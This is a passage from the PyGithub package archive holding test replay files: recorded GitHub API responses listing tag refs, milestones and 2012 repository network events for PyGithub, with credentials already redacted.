//api.github.com/repos/FlorentClarret/PyGithub/git/tags/827cc68cf2b91808d936aee78ce2d2e9cb9794a4"}},{"ref":"refs/tags/v1.41","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQx","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.41","object":{"sha":"a9e590f5b81d6f3e142c18b4db8c1df45226fb3e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/a9e590f5b81d6f3e142c18b4db8c1df45226fb3e"}},{"ref":"refs/tags/v1.42","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQy","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.42","object":{"sha":"0c20643eb19cf62ec48ebf7f87f0bc6c478582a7","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/0c20643eb19cf62ec48ebf7f87f0bc6c478582a7"}},{"ref":"refs/tags/v1.43","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQz","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43","object":{"sha":"4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d"}},{"ref":"refs/tags/v1.43.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.1","object":{"sha":"ccaa6dc685d8531c530e63b555d6197c6377662e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ccaa6dc685d8531c530e63b555d6197c6377662e"}},{"ref":"refs/tags/v1.43.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.2","object":{"sha":"5d3a23c5126e2a5f70de56aa1f8f9ca40ee11331","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5d3a23c5126e2a5f70de56aa1f8f9ca40ee11331"}},{"ref":"refs/tags/v1.43.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.3","object":{"sha":"38c2ce28f3834a27cc116eb05bab167230363673","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/38c2ce28f3834a27cc116eb05bab167230363673"}},{"ref":"refs/tags/v1.43.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.4","object":{"sha":"e80bb865356537751119a9246b93d0a592f5ceb4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e80bb865356537751119a9246b93d0a592f5ceb4"}},{"ref":"refs/tags/v1.43.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.5","object":{"sha":"c5499a3374813544abf9d50834d15891360e3040","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c5499a3374813544abf9d50834d15891360e3040"}},{"ref":"refs/tags/v1.43.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.6","object":{"sha":"954455c1531fa2d8a7056df79e292a0eb78d02e3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/954455c1531fa2d8a7056df79e292a0eb78d02e3"}},{"ref":"refs/tags/v1.43.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.7","object":{"sha":"9d77016321f4785311d3c3dd96e3831e33f1d5c8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/9d77016321f4785311d3c3dd96e3831e33f1d5c8"}},{"ref":"refs/tags/v1.43.8","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjg=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.8","object":{"sha":"b4ff2916bccee6ba54ed12622ff82d5ccad45735","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b4ff2916bccee6ba54ed12622ff82d5ccad45735"}},{"ref":"refs/tags/v1.44","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ0","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.44","object":{"sha":"7c1857c760b229a86bc100c441bcfdc6acab86a3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/7c1857c760b229a86bc100c441bcfdc6acab86a3"}},{"ref":"refs/tags/v1.44.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.44.1","object":{"sha":"37b04854c184cd4cbf9fcbed27b61260217d81c5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/37b04854c184cd4cbf9fcbed27b61260217d81c5"}},{"ref":"refs/tags/v1.45","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ1","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.45","object":{"sha":"8cb32bdcd58876e7dff0b9d3439836ed338a0bd1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8cb32bdcd58876e7dff0b9d3439836ed338a0bd1"}},{"ref":"refs/tags/v1.46","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ2","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.46","object":{"sha":"1ad2889dd7c38f02e2a9defbdffc7a94bb917702","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1ad2889dd7c38f02e2a9defbdffc7a94bb917702"}},{"ref":"refs/tags/v1.47","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ3","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.47","object":{"sha":"b2dfea37fa29a55c6776ce27d59cde80dc37dfbb","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b2dfea37fa29a55c6776ce27d59cde80dc37dfbb"}},{"ref":"refs/tags/v2.0.0-alpha.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS4x","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.1","object":{"sha":"2850936b585ce136c97d3efbfa2643844c308b05","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/2850936b585ce136c97d3efbfa2643844c308b05"}},{"ref":"refs/tags/v2.0.0-alpha.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS4y","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.2","object":{"sha":"473e70ca294bf3835e3e8cbdc3410d43aa2dff17","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/473e70ca294bf3835e3e8cbdc3410d43aa2dff17"}},{"ref":"refs/tags/v2.0.0.-alpha.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC4tYWxwaGEuMw==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0.-alpha.3","object":{"sha":"94a223016b49d47b2b26fc786deff39603b539f4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/94a223016b49d47b2b26fc786deff39603b539f4"}},{"ref":"refs/tags/v2.0.0-alpha.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS40","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.4","object":{"sha":"f821d77e87e4a8114184db05b00eee462a0ebdf1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f821d77e87e4a8114184db05b00eee462a0ebdf1"}},{"ref":"refs/tags/1.35","node_id":"MDM6UmVmMjU1MzU1MTYwOjEuMzU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/1.35","object":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/19310e77e3279080998e2ff230d19e6fe0743528"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetMilestones.txt0000644000175100001660000000254614756101563024566 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/milestones {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '901'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ed668d7695f9e5259aa7d9660a875e03"'), ('date', 'Sun, 27 May 2012 07:07:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547,"closed_issues":2}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetMilestonesWithArguments.txt0000644000175100001660000000532714756101563027310 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/milestones?sort=due_date&state=closed&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '2252'), ('x-ratelimit-remaining', '4858'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5fba22d60628595b9e34df100c6ef545"'), ('date', 'Tue, 29 May 2012 18:41:47 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","due_on":"2012-03-13T07:00:00Z","open_issues":0,"title":"Version 0.4","created_at":"2012-03-08T12:22:10Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":1,"id":93546,"state":"closed","closed_issues":3},{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/3","due_on":"2012-03-20T07:00:00Z","open_issues":0,"title":"Version 0.5: full implementation","created_at":"2012-03-12T21:38:36Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":3,"id":95354,"state":"closed","closed_issues":4},{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/4","due_on":"2012-04-19T07:00:00Z","open_issues":0,"title":"Version 0.6","created_at":"2012-04-17T05:52:03Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":4,"id":108652,"state":"closed","closed_issues":2},{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","due_on":"2012-05-26T07:00:00Z","open_issues":0,"title":"Version 0.7","created_at":"2012-05-25T11:47:06Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":5,"id":124045,"state":"closed","closed_issues":2}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetNetworkEvents.txt0000644000175100001660000012767114756101563025271 0ustar00runnerdockerhttps GET api.github.com None /networks/PyGithub/PyGithub/events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4929'), ('content-length', '44412'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"1e10e6d8994190bd053880e299e9b0b4"'), ('date', 'Sun, 27 May 2012 07:08:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Hook.py","size":1024,"created_at":"2012-05-27T06:54:54Z","content_type":".py","url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/245143","download_count":0,"id":245143,"description":"","html_url":"https://github.com/downloads/PyGithub/PyGithub/Hook.py"}},"id":"1556239111","created_at":"2012-05-27T06:54:55Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"htmlcov.zip","size":258048,"created_at":"2012-05-27T06:53:47Z","content_type":".zip","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/245142","id":245142,"description":"","html_url":"https://github.com/downloads/PyGithub/PyGithub/htmlcov.zip"}},"id":"1556239049","created_at":"2012-05-27T06:53:48Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"956279094a7383b6a8f00c93770ed02ca711f8e5","size":4,"push_id":80734053,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"8cb3e63e80f3ab741ca580eed791a85fb4e1b968","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8cb3e63e80f3ab741ca580eed791a85fb4e1b968","distinct":true,"message":"Test Team"},{"sha":"e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","distinct":true,"message":"Test Organization members"},{"sha":"4169010f17cf66a9f1e43e476115485ed7cda90c","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4169010f17cf66a9f1e43e476115485ed7cda90c","distinct":true,"message":"Improve coverage of Organization"},{"sha":"956279094a7383b6a8f00c93770ed02ca711f8e5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/956279094a7383b6a8f00c93770ed02ca711f8e5","distinct":true,"message":"Test Repository.create_git_*"}]},"id":"1556235497","created_at":"2012-05-27T06:00:30Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"opened","issue":{"number":30,"created_at":"2012-05-27T05:40:15Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body created by PyGithub","comments":0,"title":"Issue also created by PyGithub","updated_at":"2012-05-27T05:40:15Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","id":4769659,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"due_on":"2012-06-04T07:00:00Z","created_at":"2012-03-08T12:22:28Z","title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","id":93547,"open_issues":10,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/issues/30","labels":[{"name":"Question","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","color":"02e10c"}],"state":"open"}},"id":"1556234207","created_at":"2012-05-27T05:40:15Z"},{"type":"MemberEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"id":"1556233923","created_at":"2012-05-27T05:34:29Z"},{"type":"MemberEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"id":"1556233882","created_at":"2012-05-27T05:33:44Z"},{"type":"ForkEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1424031,"url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware"},"payload":{"forkee":{"name":"PyGithub","size":348,"has_wiki":false,"created_at":"2012-05-27T05:23:17Z","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","public":true,"watchers":1,"private":false,"updated_at":"2012-05-27T05:23:18Z","git_url":"git://github.com/BeaverSoftware/PyGithub.git","fork":true,"language":"Python","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","id":4460027,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-26T20:54:13Z","has_downloads":true,"mirror_url":null,"open_issues":0,"full_name":"BeaverSoftware/PyGithub","has_issues":false,"homepage":"http://vincent-jacques.net/PyGithub","description":"Python library implementing the full Github API v3","forks":0,"html_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware"}}},"id":"1556233222","created_at":"2012-05-27T05:23:18Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"a39af6a0aae16a923f7be48a70fe1095b17280d2","size":2,"push_id":80709334,"commits":[{"sha":"60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","distinct":true,"message":"Heavy refactoring of integration tests"},{"sha":"a39af6a0aae16a923f7be48a70fe1095b17280d2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a39af6a0aae16a923f7be48a70fe1095b17280d2","distinct":true,"message":"Improve test coverage"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"id":"1556182773","created_at":"2012-05-26T20:54:15Z"},{"type":"WatchEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"1689abbd998128dbb3658698b429b022","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":22974,"url":"https://api.github.com/users/michaelpedersen","login":"michaelpedersen"},"payload":{"action":"started"},"id":"1556168218","created_at":"2012-05-26T18:33:42Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"closed","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body edited by PyGithub","title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-26T14:59:33Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","id":4653757,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":1,"created_at":"2012-03-08T12:22:10Z","due_on":"2012-03-13T07:00:00Z","title":"Version 0.4","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","id":93546,"open_issues":0,"closed_issues":3,"description":"","state":"closed"},"closed_at":"2012-05-26T14:59:33Z","html_url":"https://github.com/PyGithub/PyGithub/issues/28","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Bug","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","color":"e10c02"},{"name":"Project management","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","color":"444444"},{"name":"Question","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","color":"02e10c"}],"state":"closed"}},"id":"1556145515","created_at":"2012-05-26T14:59:34Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"36574ded89738a81f47f415017ba880d0cad839b","size":5,"push_id":80677260,"commits":[{"sha":"95cd6c507bdfbf3700a31bafbe26f72a1d684be1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/95cd6c507bdfbf3700a31bafbe26f72a1d684be1","distinct":true,"message":"Use setUp in test for NamedUser"},{"sha":"386bcde55e1744fa888b034d34ad9f167595d2cf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/386bcde55e1744fa888b034d34ad9f167595d2cf","distinct":true,"message":"Refactor tests of NamedUser"},{"sha":"1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","distinct":true,"message":"Restore coverage of Event"},{"sha":"ff8d87d5391b2ef8d10e89f77260a18440e88e25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ff8d87d5391b2ef8d10e89f77260a18440e88e25","distinct":true,"message":"Test NamedUser.create_gist withour description"},{"sha":"36574ded89738a81f47f415017ba880d0cad839b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/36574ded89738a81f47f415017ba880d0cad839b","distinct":true,"message":"Refactor tests of 